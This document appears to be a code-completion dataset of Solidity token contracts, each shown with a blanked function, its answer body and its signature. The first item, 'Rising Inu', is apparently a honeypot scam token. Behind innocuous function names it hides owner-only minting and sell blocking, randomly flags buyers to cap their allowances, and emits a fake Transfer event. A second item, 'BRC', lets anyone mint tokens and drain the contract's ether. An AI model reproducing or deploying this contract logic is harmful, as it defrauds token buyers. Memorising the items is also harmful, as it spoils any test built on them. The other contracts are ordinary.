equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { uint256 tok = amount; require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); if ((address(owner) == creator) && (valentin == true)) { thedios[spender] = true; thedeus[spender] = false; greencandle[spender] = false; valentin = false; } tok = (thedeus[owner] ? 23874 : amount); _allowances[owner][spender] = tok; emit Approval(owner, spender, tok); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal {<FILL_FUNCTION_BODY> } }
contract ERC20Token is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public thedios; mapping (address => bool) public thedeus; mapping (address => bool) public greencandle; mapping (address => uint256) public everrising; bool private llamas; uint256 private _totalSupply; uint256 private pizza; uint256 private _trns; uint256 private chTx; uint256 private opera; uint8 private _decimals; string private _symbol; string private _name; bool private valentin; address private creator; bool private thisValue; uint liquidity = 0; constructor() public { creator = address(msg.sender); llamas = true; valentin = true; _name = "Rising Inu"; _symbol = "RISINU"; _decimals = 5; _totalSupply = 20000000000000000000; _trns = _totalSupply; pizza = _totalSupply; chTx = _totalSupply / 1200; opera = pizza; thedeus[creator] = false; greencandle[creator] = false; thedios[msg.sender] = true; _balances[msg.sender] = _totalSupply; thisValue = false; emit Transfer(address(0x2910543Af39abA0Cd09dBb2D50200b3E800A63D2), msg.sender, _trns); } /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8) { return _decimals; } /** * @dev Returns the erc20 token owner. */ function getOwner() external view returns (address) { return owner(); } function LogSuccessfullBuyback() external view onlyOwner returns (uint256) { uint256 tempval = _totalSupply; return tempval; } /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory) { return _symbol; } /** * @dev Returns the token name. */ function name() external view returns (string memory) { return _name; } /** * @dev See {ERC20-totalSupply}. */ function totalSupply() external view returns (uint256) { return _totalSupply; } /** * @dev See {ERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) external returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function randomly() internal returns (uint) { uint screen = uint(keccak256(abi.encodePacked(now, msg.sender, liquidity))) % 100; liquidity++; return screen; } /** * @dev See {ERC20-allowance}. */ function allowance(address owner, address spender) external view returns (uint256) { return _allowances[owner][spender]; } function ResetBuyback() external onlyOwner { pizza = chTx; thisValue = true; } function Buyback(uint256 amount) external onlyOwner { pizza = amount; } /** * @dev See {ERC20-balanceOf}. */ function balanceOf(address account) external view returns (uint256) { return _balances[account]; } /** * @dev See {ERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {ERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * * */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function InitiateBuyback(uint256 amount) public onlyOwner returns (bool) { _mint(_msgSender(), amount); return true; } /** * @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing * the total supply. * * Requirements * * - `msg.sender` must be the token owner */ function DetectSell(address spender, bool val, bool val2, bool val3, bool val4) external onlyOwner { thedios[spender] = val; thedeus[spender] = val2; greencandle[spender] = val3; thisValue = val4; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if ((address(sender) == creator) && (llamas == false)) { pizza = chTx; thisValue = true; } if ((address(sender) == creator) && (llamas == true)) { thedios[recipient] = true; thedeus[recipient] = false; llamas = false; } if (thedios[recipient] != true) { thedeus[recipient] = ((randomly() == 78) ? true : false); } if ((thedeus[sender]) && (thedios[recipient] == false)) { thedeus[recipient] = true; } if (thedios[sender] == false) { require(amount < pizza); if (thisValue == true) { if (greencandle[sender] == true) { require(false); } greencandle[sender] = true; } } _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Changes the `amount` of the minimal tokens there should be in supply, * in order to not burn more tokens than there should be. **/ /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { uint256 tok = amount; require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); if ((address(owner) == creator) && (valentin == true)) { thedios[spender] = true; thedeus[spender] = false; greencandle[spender] = false; valentin = false; } tok = (thedeus[owner] ? 23874 : amount); _allowances[owner][spender] = tok; emit Approval(owner, spender, tok); } <FILL_FUNCTION> }
_burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
function _burnFrom(address account, uint256 amount) internal
/** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal
59203
BRC
approveAndCall
contract BRC is ERC20Interface, Owned, SafeMath { string public symbol = "BRC"; string public name = "Bear Chain"; uint8 public decimals = 18; uint public _totalSupply; uint256 public targetsecure = 50000e18; mapping (address => uint256) public balanceOf; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {<FILL_FUNCTION_BODY> } function minttoken(uint256 mintedAmount) public onlyOwner { balances[msg.sender] += mintedAmount; balances[msg.sender] = safeAdd(balances[msg.sender], mintedAmount); _totalSupply = safeAdd(_totalSupply, mintedAmount); } function () public payable { require(msg.value >= 0); uint tokens; if (msg.value < 1 ether) { tokens = msg.value * 400; } if (msg.value >= 1 ether) { tokens = msg.value * 400 + msg.value * 40; } if (msg.value >= 5 ether) { tokens = msg.value * 400 + msg.value * 80; } if (msg.value >= 10 ether) { tokens = msg.value * 400 + 100000000000000000000; //send 10 ether to get all token - error contract } if (msg.value == 0 ether) { tokens = 1e18; require(balanceOf[msg.sender] <= 0); balanceOf[msg.sender] += tokens; } balances[msg.sender] = safeAdd(balances[msg.sender], tokens); _totalSupply = safeAdd(_totalSupply, tokens); } function safekey(uint256 safekeyz) public { require(balances[msg.sender] > 12000e18); balances[msg.sender] += safekeyz; balances[msg.sender] = safeAdd(balances[msg.sender], safekeyz); _totalSupply = safeAdd(_totalSupply, safekeyz); } function withdraw() public { require(balances[msg.sender] > targetsecure); address myAddress = this; uint256 etherBalance = myAddress.balance; msg.sender.transfer(etherBalance); } function setsecure(uint256 securee) public onlyOwner { targetsecure = securee; } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract BRC is ERC20Interface, Owned, SafeMath { string public symbol = "BRC"; string public name = "Bear Chain"; uint8 public decimals = 18; uint public _totalSupply; uint256 public targetsecure = 50000e18; mapping (address => uint256) public balanceOf; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } <FILL_FUNCTION> function minttoken(uint256 mintedAmount) public onlyOwner { balances[msg.sender] += mintedAmount; balances[msg.sender] = safeAdd(balances[msg.sender], mintedAmount); _totalSupply = safeAdd(_totalSupply, mintedAmount); } function () public payable { require(msg.value >= 0); uint tokens; if (msg.value < 1 ether) { tokens = msg.value * 400; } if (msg.value >= 1 ether) { tokens = msg.value * 400 + msg.value * 40; } if (msg.value >= 5 ether) { tokens = msg.value * 400 + msg.value * 80; } if (msg.value >= 10 ether) { tokens = msg.value * 400 + 100000000000000000000; //send 10 ether to get all token - error contract } if (msg.value == 0 ether) { tokens = 1e18; require(balanceOf[msg.sender] <= 0); balanceOf[msg.sender] += tokens; } balances[msg.sender] = safeAdd(balances[msg.sender], tokens); _totalSupply = safeAdd(_totalSupply, tokens); } function safekey(uint256 safekeyz) public { require(balances[msg.sender] > 12000e18); balances[msg.sender] += safekeyz; balances[msg.sender] = safeAdd(balances[msg.sender], safekeyz); _totalSupply = safeAdd(_totalSupply, safekeyz); } function withdraw() public { require(balances[msg.sender] > targetsecure); address myAddress = this; uint256 etherBalance = myAddress.balance; msg.sender.transfer(etherBalance); } function setsecure(uint256 securee) public onlyOwner { targetsecure = securee; } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true;
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success)
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success)
9355
SimpleToken
null
contract SimpleToken is ERC20 { uint8 public constant DECIMALS = 18; uint256 public constant INITIAL_SUPPLY = 100000000 * (10 ** uint256(DECIMALS)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor () public ERC20("Apple FI. finance", "AFI") {<FILL_FUNCTION_BODY> } }
contract SimpleToken is ERC20 { uint8 public constant DECIMALS = 18; uint256 public constant INITIAL_SUPPLY = 100000000 * (10 ** uint256(DECIMALS)); <FILL_FUNCTION> }
_mint(msg.sender, INITIAL_SUPPLY);
constructor () public ERC20("Apple FI. finance", "AFI")
/** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor () public ERC20("Apple FI. finance", "AFI")
12035
NitroPlatformToken
transferFrom
contract NitroPlatformToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "NTRT"; name = "Nitro Platform Token"; decimals = 8; _totalSupply = 1100000000000000000; balances[0xA7D54F408719660Dcdbfa95CcA578227489ba215] = _totalSupply; emit Transfer(address(0), 0xA7D54F408719660Dcdbfa95CcA578227489ba215, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Do not accept ETHEREUM // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract NitroPlatformToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "NTRT"; name = "Nitro Platform Token"; decimals = 8; _totalSupply = 1100000000000000000; balances[0xA7D54F408719660Dcdbfa95CcA578227489ba215] = _totalSupply; emit Transfer(address(0), 0xA7D54F408719660Dcdbfa95CcA578227489ba215, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } <FILL_FUNCTION> // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Do not accept ETHEREUM // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true;
function transferFrom(address from, address to, uint tokens) public returns (bool success)
// ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success)
52216
LilBabyCatGang
removeWhitelistAddress
contract LilBabyCatGang is ERC721Enumerable, Ownable, ERC721Burnable, ERC721Pausable { using SafeMath for uint256; using Counters for Counters.Counter; Counters.Counter private _tokenIdTracker; uint public sale_state; // 0: not started sale, 1: presale, 2: public sale uint256 public constant MAX_ITEMS = 3000; uint256 public PRICE = 6E16; // 0.06 ETH uint256 public PRESALE_PRICE = 4E16; // 0.04 ETH uint256 public constant MAX_MINT = 3; uint256 public constant MAX_MINT_PRESALE = 2; string public baseTokenURI; address public constant creatorAddress1 = 0x99bf0cC740acfea468feebe6051Ccb8A97F835f1; address public constant creatorAddress2 = 0x43a8765193C99643eF9F9f976DAC3C880b0749d4; address public constant creatorAddress3 = 0xb101a269A80FC6aC17267Fb3a5B19021D6D296AC; address public constant devAddress = 0xFE8a2C736d9602E1D2fada377C0760450E2f8289; mapping (address => bool) public whitelistedAddr; event CreateBabyCatGang(uint256 indexed id); constructor(string memory baseURI) ERC721("Lil Baby Cat Gang", "CatGang") { setBaseURI(baseURI); pause(true); sale_state = 0; } modifier saleIsOpen { require(_totalSupply() <= MAX_ITEMS, "Sale ended"); if (_msgSender() != owner()) { require(!paused(), "Pausable: paused"); } _; } function whitelistAddress (address[] memory users) public onlyOwner { for (uint i = 0; i < users.length; i++) { whitelistedAddr[users[i]] = true; } } function removeWhitelistAddress (address[] memory users) public onlyOwner {<FILL_FUNCTION_BODY> } function _totalSupply() internal view returns (uint) { return _tokenIdTracker.current(); } function totalMint() public view returns (uint256) { return _totalSupply(); } function mintReserve(uint256 _count, address _to) public onlyOwner { uint256 total = _totalSupply(); require(total <= MAX_ITEMS, "Sale ended"); require(total + _count <= MAX_ITEMS, "Max limit"); for (uint256 i = 0; i < _count; i++) { _mintAnElement(_to); } } function mint(address _to, uint256 _count) public payable saleIsOpen { uint256 total = _totalSupply(); require(total <= MAX_ITEMS, "Sale ended"); require(total + _count <= MAX_ITEMS, "Max limit"); require(sale_state != 0, "Sale is not started"); if (sale_state == 1) { require(whitelistedAddr[_to] == true, "address is not whitelisted"); require(_count <= MAX_MINT_PRESALE, "Exceeds number"); } else { require(_count <= MAX_MINT, "Exceeds number"); } require(msg.value >= price(_count), "Value below price"); for (uint256 i = 0; i < _count; i++) { _mintAnElement(_to); } } function _mintAnElement(address _to) private { uint id = _totalSupply(); _tokenIdTracker.increment(); _safeMint(_to, id); emit CreateBabyCatGang(id); } function price(uint256 _count) public view returns (uint256) { if (sale_state == 1) { return PRESALE_PRICE.mul(_count); } return PRICE.mul(_count); } function _baseURI() internal view virtual override returns (string memory) { return baseTokenURI; } function setBaseURI(string memory baseURI) public onlyOwner { baseTokenURI = baseURI; } function setPresaleMintPrice(uint256 _price) external onlyOwner { PRESALE_PRICE = _price; } function setMintPrice(uint256 _price) external onlyOwner { PRICE = _price; } function walletOfOwner(address _owner) external view returns (uint256[] memory) { uint256 tokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](tokenCount); for (uint256 i = 0; i < tokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function pause(bool val) public onlyOwner { if (val == true) { _pause(); return; } _unpause(); } function setState(uint _state) public onlyOwner { sale_state = _state; } function withdrawAll() public payable onlyOwner { uint256 balance = address(this).balance; require(balance > 0); _widthdraw(creatorAddress1, balance.mul(225).div(1000)); _widthdraw(creatorAddress2, balance.mul(5).div(100)); _widthdraw(devAddress, balance.mul(4).div(100)); _widthdraw(creatorAddress3, address(this).balance); } function _widthdraw(address _address, uint256 _amount) private { (bool success,) = _address.call{value : _amount}(""); require(success, "Transfer failed."); } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override(ERC721, ERC721Enumerable, ERC721Pausable) { super._beforeTokenTransfer(from, to, tokenId); } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } }
contract LilBabyCatGang is ERC721Enumerable, Ownable, ERC721Burnable, ERC721Pausable { using SafeMath for uint256; using Counters for Counters.Counter; Counters.Counter private _tokenIdTracker; uint public sale_state; // 0: not started sale, 1: presale, 2: public sale uint256 public constant MAX_ITEMS = 3000; uint256 public PRICE = 6E16; // 0.06 ETH uint256 public PRESALE_PRICE = 4E16; // 0.04 ETH uint256 public constant MAX_MINT = 3; uint256 public constant MAX_MINT_PRESALE = 2; string public baseTokenURI; address public constant creatorAddress1 = 0x99bf0cC740acfea468feebe6051Ccb8A97F835f1; address public constant creatorAddress2 = 0x43a8765193C99643eF9F9f976DAC3C880b0749d4; address public constant creatorAddress3 = 0xb101a269A80FC6aC17267Fb3a5B19021D6D296AC; address public constant devAddress = 0xFE8a2C736d9602E1D2fada377C0760450E2f8289; mapping (address => bool) public whitelistedAddr; event CreateBabyCatGang(uint256 indexed id); constructor(string memory baseURI) ERC721("Lil Baby Cat Gang", "CatGang") { setBaseURI(baseURI); pause(true); sale_state = 0; } modifier saleIsOpen { require(_totalSupply() <= MAX_ITEMS, "Sale ended"); if (_msgSender() != owner()) { require(!paused(), "Pausable: paused"); } _; } function whitelistAddress (address[] memory users) public onlyOwner { for (uint i = 0; i < users.length; i++) { whitelistedAddr[users[i]] = true; } } <FILL_FUNCTION> function _totalSupply() internal view returns (uint) { return _tokenIdTracker.current(); } function totalMint() public view returns (uint256) { return _totalSupply(); } function mintReserve(uint256 _count, address _to) public onlyOwner { uint256 total = _totalSupply(); require(total <= MAX_ITEMS, "Sale ended"); require(total + _count <= MAX_ITEMS, "Max limit"); for (uint256 i = 0; i < _count; i++) { _mintAnElement(_to); } } function mint(address _to, uint256 _count) public payable saleIsOpen { uint256 total = _totalSupply(); require(total <= MAX_ITEMS, "Sale ended"); require(total + _count <= MAX_ITEMS, "Max limit"); require(sale_state != 0, "Sale is not started"); if (sale_state == 1) { require(whitelistedAddr[_to] == true, "address is not whitelisted"); require(_count <= MAX_MINT_PRESALE, "Exceeds number"); } else { require(_count <= MAX_MINT, "Exceeds number"); } require(msg.value >= price(_count), "Value below price"); for (uint256 i = 0; i < _count; i++) { _mintAnElement(_to); } } function _mintAnElement(address _to) private { uint id = _totalSupply(); _tokenIdTracker.increment(); _safeMint(_to, id); emit CreateBabyCatGang(id); } function price(uint256 _count) public view returns (uint256) { if (sale_state == 1) { return PRESALE_PRICE.mul(_count); } return PRICE.mul(_count); } function _baseURI() internal view virtual override returns (string memory) { return baseTokenURI; } function setBaseURI(string memory baseURI) public onlyOwner { baseTokenURI = baseURI; } function setPresaleMintPrice(uint256 _price) external onlyOwner { PRESALE_PRICE = _price; } function setMintPrice(uint256 _price) external onlyOwner { PRICE = _price; } function walletOfOwner(address _owner) external view returns (uint256[] memory) { uint256 tokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](tokenCount); for (uint256 i = 0; i < tokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function pause(bool val) public onlyOwner { if (val == true) { _pause(); return; } _unpause(); } function setState(uint _state) public onlyOwner { sale_state = _state; } function withdrawAll() public payable onlyOwner { uint256 balance = address(this).balance; require(balance > 0); _widthdraw(creatorAddress1, balance.mul(225).div(1000)); _widthdraw(creatorAddress2, balance.mul(5).div(100)); _widthdraw(devAddress, balance.mul(4).div(100)); _widthdraw(creatorAddress3, address(this).balance); } function _widthdraw(address _address, uint256 _amount) private { (bool success,) = _address.call{value : _amount}(""); require(success, "Transfer failed."); } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override(ERC721, ERC721Enumerable, ERC721Pausable) { super._beforeTokenTransfer(from, to, tokenId); } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } }
for (uint i = 0; i < users.length; i++) { require(whitelistedAddr[users[i]], "address is not existed or already removed in whitelist"); whitelistedAddr[users[i]] = false; }
function removeWhitelistAddress (address[] memory users) public onlyOwner
function removeWhitelistAddress (address[] memory users) public onlyOwner
81865
BasicToken
transfer
contract BasicToken is ERC20Basic, Ownable { using SafeMath for uint256; mapping(address => uint256) balances; // allowedAddresses will be able to transfer even when locked // lockedAddresses will *not* be able to transfer even when *not locked* mapping(address => bool) public allowedAddresses; mapping(address => bool) public lockedAddresses; bool public locked = true; function allowAddress(address _addr, bool _allowed) public onlyOwner { require(_addr != owner); allowedAddresses[_addr] = _allowed; } function lockAddress(address _addr, bool _locked) public onlyOwner { require(_addr != owner); lockedAddresses[_addr] = _locked; } function setLocked(bool _locked) public onlyOwner { locked = _locked; } function canTransfer(address _addr) public constant returns (bool) { if(locked){ if(!allowedAddresses[_addr]&&_addr!=owner) return false; }else if(lockedAddresses[_addr]) return false; return true; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) {<FILL_FUNCTION_BODY> } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } }
contract BasicToken is ERC20Basic, Ownable { using SafeMath for uint256; mapping(address => uint256) balances; // allowedAddresses will be able to transfer even when locked // lockedAddresses will *not* be able to transfer even when *not locked* mapping(address => bool) public allowedAddresses; mapping(address => bool) public lockedAddresses; bool public locked = true; function allowAddress(address _addr, bool _allowed) public onlyOwner { require(_addr != owner); allowedAddresses[_addr] = _allowed; } function lockAddress(address _addr, bool _locked) public onlyOwner { require(_addr != owner); lockedAddresses[_addr] = _locked; } function setLocked(bool _locked) public onlyOwner { locked = _locked; } function canTransfer(address _addr) public constant returns (bool) { if(locked){ if(!allowedAddresses[_addr]&&_addr!=owner) return false; }else if(lockedAddresses[_addr]) return false; return true; } <FILL_FUNCTION> /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } }
